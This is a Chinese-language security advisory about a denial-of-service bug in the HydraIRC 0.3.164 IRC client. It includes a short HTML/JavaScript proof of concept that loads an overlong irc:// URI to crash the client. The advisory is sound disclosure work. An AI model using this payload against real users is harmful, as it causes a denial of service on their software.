安全研究
安全漏洞
HydraIRC irc:// URI处理空指针引用漏洞
发布日期：2008-08-03
更新日期：2008-08-06
受影响系统：HydraIRC HydraIRC 0.3.164
描述：
BUGTRAQ ID:
30523
HydraIRC是一款易用的开源IRC客户端。
HydraIRC处理畸形格式的URI时存在漏洞，如果用户受骗使用HydraIRC打开了Web浏览器中的超长irc://" URI的话，就可以触发空指针引用，导致客户端崩溃。
<*来源：securfrog （
securfrog@gmail.com）
链接：
http://secunia.com/advisories/31376/
*>
测试方法：
警 告
以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！
<html>
<head> <title>HydraIRC Remote Denial Of Service Poc </title></head>
<body>
<script>
var site = 'irc://127.0.0.1/'
var buf = 'A';
while (buf.length <= 560) buf = buf + 'A';
document.location.href=site +buf
</script>
</body>
</html>
建议：
厂商补丁：
HydraIRC
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：
http://www.hydrairc.com/浏览次数：2530
严重程度：0（网友投票）
本安全漏洞由绿盟科技翻译整理，版权所有，未经许可，不得转载
绿盟科技给您安全的保障 |
